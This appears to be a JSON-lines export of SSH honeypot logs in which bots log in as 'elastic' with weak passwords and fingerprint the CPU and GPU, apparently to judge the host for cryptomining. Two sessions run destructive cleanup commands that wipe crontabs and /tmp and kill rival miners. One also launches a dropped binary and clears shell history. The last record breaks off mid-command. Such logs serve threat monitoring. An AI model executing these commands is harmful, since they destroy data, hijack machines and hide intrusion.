{"id":"ec9a9d2c-1655-44fa-99af-6f39b52c9b03","name":"proud-frank-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":41930,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:30:01.187174+00:00","ended_at":"2026-08-27T02:30:07.085537+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-27T02:29:39.154306+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:29:40.095407+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:29:40.313616+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:29:41.369807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:29:41.722709+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:29:43.547379+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:19"},{"seq":7,"at":"2026-08-27T02:29:43.842131+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:29:44.878702+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:29:45.057244+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:29:47.094534+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:29:47.300163+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:29:48.868099+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:29:49.174263+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:29:50.806414+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:29:51.115419+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:29:52.195423+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:29:52.520510+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:29:53.893097+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:29:54.151090+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:29:55.433555+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:29:55.877242+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:29:57.315453+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:29:57.607079+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:29:58.981242+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:29:59.235815+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:30:01.188470+00:00","kind":"input","latency_ms":null,"data":"echo elastic > /tmp/d.log"}],"credentials":[{"username":"elastic","password":"elastic","method":"password","accepted":true,"tier":"other"}]}
{"id":"9595c15a-7c4e-432e-bacc-7561c16f3fc3","name":"feathered-dapper-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":49686,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":421,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T12:34:06.479405+00:00","ended_at":"2026-08-26T12:34:09.887830+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T12:33:18.121782+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T12:33:22.916951+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T12:33:23.617093+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T12:33:27.348667+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T12:33:27.730804+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T12:33:30.738202+00:00","kind":"output","latency_ms":null,"data":"6 days,  9:23"},{"seq":7,"at":"2026-08-26T12:33:31.471128+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T12:33:36.823427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T12:33:37.526232+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T12:33:40.504425+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T12:33:40.706494+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T12:33:46.011297+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T12:33:46.432585+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T12:33:50.307122+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T12:33:50.881433+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T12:33:54.255746+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T12:33:54.996346+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T12:33:58.780697+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T12:33:58.974422+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T12:34:03.227575+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T12:34:03.618815+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T12:34:06.243354+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T12:34:06.480279+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T12:34:09.720685+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elastic","password":"elastic","method":"password","accepted":true,"tier":"other"}]}
{"id":"40855d11-f814-44a7-ba9e-3b335f20f3c4","name":"deft-serene-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":36360,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":185,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T06:46:40.793071+00:00","ended_at":"2026-08-26T06:46:44.353666+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T06:45:48.229707+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T06:45:53.382214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T06:45:53.556222+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T06:45:58.100770+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T06:45:58.327702+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T06:46:04.145782+00:00","kind":"output","latency_ms":null,"data":"6 days,  3:36"},{"seq":7,"at":"2026-08-26T06:46:04.424057+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T06:46:08.005312+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T06:46:08.189840+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T06:46:12.942101+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T06:46:13.140768+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T06:46:17.956268+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T06:46:18.119281+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T06:46:23.673989+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T06:46:23.858683+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T06:46:27.993766+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T06:46:28.159258+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T06:46:31.466346+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T06:46:31.652130+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T06:46:36.124058+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T06:46:36.296349+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T06:46:40.567934+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T06:46:40.793620+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T06:46:44.229953+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elastic","password":"elastic","method":"password","accepted":true,"tier":"other"}]}
{"id":"050fb188-567a-4f79-b55e-7346a7f619a4","name":"kindly-northern-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":52976,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:58:24.774287+00:00","ended_at":"2026-08-25T22:58:27.057137+00:00","ended_reason":"exec complete","commands":9,"transcript_bytes":617,"events":[{"seq":1,"at":"2026-08-25T22:58:08.819218+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:58:10.669814+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:58:11.119717+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:58:12.250498+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:58:12.698081+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:58:14.093598+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:58:14.553827+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:58:16.020045+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:58:16.467848+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:58:18.049123+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:58:18.528609+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:58:20.478877+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:58:20.928006+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:58:22.412014+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:58:22.884242+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:58:24.329158+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:58:24.775192+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:58:26.833058+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"}],"credentials":[{"username":"elastic","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"c54430fb-6908-41af-b648-686919855684","name":"frosty-hollow-llama","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":38644,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:42:17.792046+00:00","ended_at":"2026-08-25T22:42:18.906971+00:00","ended_reason":"exec complete","commands":9,"transcript_bytes":617,"events":[{"seq":1,"at":"2026-08-25T22:42:02.355870+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:42:04.028643+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:42:04.479127+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:42:06.274051+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:42:06.729572+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:42:07.929136+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:42:08.377578+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:42:09.461470+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:42:09.911462+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:42:11.102732+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:42:11.553558+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:42:13.423496+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:42:13.873689+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:42:15.633559+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:42:16.083825+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:42:17.342125+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:42:17.792826+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:42:18.680965+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"}],"credentials":[{"username":"elastic","password":"elastic","method":"password","accepted":true,"tier":"other"}]}
{"id":"806dbfb8-265c-4f64-a92b-b3a8ee24356a","name":"painted-brazen-bittern","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":41846,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:29:30.184758+00:00","ended_at":"2026-08-25T22:29:32.501900+00:00","ended_reason":"exec complete","commands":10,"transcript_bytes":1353,"events":[{"seq":1,"at":"2026-08-25T22:28:41.701190+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:28:42.579731+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:28:43.029543+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:28:44.817160+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:28:45.278157+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:28:46.803963+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:28:47.251451+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:28:48.924899+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:28:49.371121+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:28:50.315453+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:28:50.763034+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:28:52.556224+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:28:53.003095+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:28:54.718067+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:28:55.167349+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:28:56.297778+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:28:56.754063+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:28:58.218382+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T22:29:30.185633+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 HpPELAjw ; ./HpPELAjw </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history"}],"credentials":[{"username":"elastic","password":"elastic123","method":"password","accepted":true,"tier":"other"}]}
{"id":"984dbf0e-a373-495e-ba7a-044532485aa2","name":"fickle-creaky-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":49474,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":267,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:15:04.662098+00:00","ended_at":"2026-08-25T01:15:08.047145+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-25T01:14:13.538236+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:14:18.916327+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:14:19.158017+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:14:22.473891+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:14:22.746760+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:14:27.572016+00:00","kind":"output","latency_ms":null,"data":"4 days, 22:04"},{"seq":7,"at":"2026-08-25T01:14:27.833335+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:14:31.778915+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:14:32.054087+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:14:36.677161+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:14:36.944482+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:14:40.562954+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:14:41.038725+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:14:44.908098+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:14:45.137159+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:14:49.362658+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:14:49.922218+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:14:54.604047+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:14:55.033600+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:15:00.936715+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:15:01.155810+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:15:04.446442+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:15:04.663040+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:15:07.940234+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elastic","password":"elastic","method":"password","accepted":true,"tier":"other"}]}
{"id":"5d9aac6b-2faa-4814-9c26-dffc6ab3243a","name":"early-somber-wheatear","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":49446,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":240,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:50:29.989654+00:00","ended_at":"2026-08-24T09:50:34.317373+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-24T09:49:39.912028+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T09:49:44.346356+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T09:49:44.813002+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T09:49:50.193376+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T09:49:50.522426+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T09:49:55.172864+00:00","kind":"output","latency_ms":null,"data":"4 days,  6:40"},{"seq":7,"at":"2026-08-24T09:49:55.413618+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:49:58.239557+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:49:58.437319+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:50:03.266452+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:50:03.814409+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:50:08.082195+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:50:08.300361+00:00","kind":"input","latency_ms":null,"data":"curl 